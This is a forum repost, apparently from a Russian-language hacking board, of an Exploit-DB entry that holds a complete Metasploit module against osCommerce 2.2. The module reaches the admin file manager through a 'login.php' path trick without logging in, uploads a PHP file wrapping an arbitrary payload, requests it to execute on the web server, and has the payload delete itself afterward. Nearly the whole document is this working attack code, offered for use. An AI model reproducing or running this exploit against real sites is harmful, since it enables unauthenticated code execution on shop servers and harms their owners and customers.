Exploit osCommerce 2.2 - Arbitrary PHP Code Execution (Metasploit)

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
16899
Проверка EDB
  1. Пройдено
Автор
METASPLOIT
Тип уязвимости
WEBAPPS
Платформа
PHP
CVE
null
Дата публикации
2010-07-03
Код:
##
# $Id: oscommerce_filemanager.rb 9669 2010-07-03 03:13:45Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'osCommerce 2.2 Arbitrary PHP Code Execution',
			'Description'    => %q{
					osCommerce is a popular open source E-Commerce application.
				The admin console contains a file management utility that
				allows administrators to upload, download, and edit files.
				This could be abused to allow unauthenticated attackers to
				execute arbitrary code with the permissions of the
				webserver.
			},
			'Author'         => [ 'egypt' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9669 $',
			'References'     =>
				[
					[ 'OSVDB', '60018' ],
					[ 'URL', 'http://www.milw0rm.com/exploits/9556' ]
				],
			'Privileged'     => false,
			'Platform'       => ['php'],
			'Arch'           => ARCH_PHP,
			'Payload'        =>
				{
					'Space'       => 4000,
					# max url length for some old versions of apache according to
					# http://www.boutell.com/newfaq/misc/urllength.html
					'DisableNops' => true,
					#'BadChars'    => %q|'"`|,  # quotes are escaped by PHP's magic_quotes_gpc in a default install
					'Compat'      =>
						{
							'ConnectionType' => 'find',
						},
					# Since our payload is uploaded as a file, it is polite to
					# clean up after ourselves.
					'Prepend'     => "unlink(__FILE__);",
					'Keys'        => ['php'],
				},
			'Targets'        => [ ['Automatic', { }], ],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Aug 31 2009'
			))

		register_options(
			[
				OptString.new('URI',   [ true,  "Base osCommerce directory path", '/catalog/']),
			], self.class)

	end

	def exploit
		# Our filename gets run through basename(), so we can have arbitrary
		# junk in front of slashes and it will get stripped out. The unlink in
		# Payload => Prepend above ensures that the file is deleted.
		filename  = rand_text_alphanumeric(rand(5)+5) + "/"
		(rand(5)+5).times do
			filename << rand_text_alphanumeric(rand(5)+5) + "/"
		end
		filename << rand_text_alphanumeric(rand(5)+5) + ".php"


		p = rand_text_english(rand(100)+100) + "<?php " + payload.encoded + " ?>" + rand_text_english(rand(100)+100)
		p = Rex::Text.uri_encode(p)
		data = "filename=#{filename}&file_contents=#{p}"

		print_status("Sending file save request")
		response = send_request_raw({
			'uri'	  => datastore['URI'] + "admin/file_manager.php/login.php?action=save",
			'method'  => 'POST',
			'data'    => data,
			'headers' =>
			{
				'Content-Type'	 => 'application/x-www-form-urlencoded',
				'Content-Length' => data.length,
			}
		}, 3)

		# If the upload worked, the server tries to redirect us to some info
		# about the file we just saved
		if response and response.code != 302
			print_error("Server returned non-302 status code (#{response.code})")
		end

		print_status("Requesting our payload")
		# very short timeout because the request may never return if we're
		# sending a socket payload
		timeout = 0.1
		response = send_request_raw({
			# Allow findsock payloads to work
			'global' => true,
			'uri' => datastore['URI'] + File.basename(filename)
		}, timeout)

		handler
	end
end
 
Источник
www.exploit-db.com

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